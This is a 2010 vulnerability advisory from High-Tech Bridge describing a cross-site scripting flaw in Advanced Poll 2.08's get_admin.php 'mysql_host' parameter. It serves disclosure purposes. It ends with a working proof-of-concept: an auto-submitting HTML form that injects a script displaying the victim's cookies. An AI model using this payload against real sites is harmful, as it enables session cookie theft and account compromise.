XSS vulnerability in Advanced Poll

[advisory () htbridge ch]

Vulnerability ID: HTB22358
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_advanced_poll.html
Product: Advanced Poll 
Vendor: Chi Kien Uong
Vulnerable Version: 2.08 and Probably Prior Versions
Vendor Notification: 23 April 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application. 

The vulnerability exists due to failure in the "/misc/get_admin.php" script to properly sanitize user-supplied input in 
"mysql_host" variable. Successful exploitation of this vulnerability could result in a compromise of the application, 
theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available: 


<form method="POST" action="http://host/misc/get_admin.php"; name="main">
<input type="hidden" name="mysql_host" value="<script>alert(document.cookie);</script>">
<input type="hidden" name="db_name" value="X">
<input type="hidden" name="mysql_user" value="X">
<input type="hidden" name="mysql_pass" value="X">
<input type="hidden" name="action" value="connect">
</form>
<script>
document.main.submit();
</script>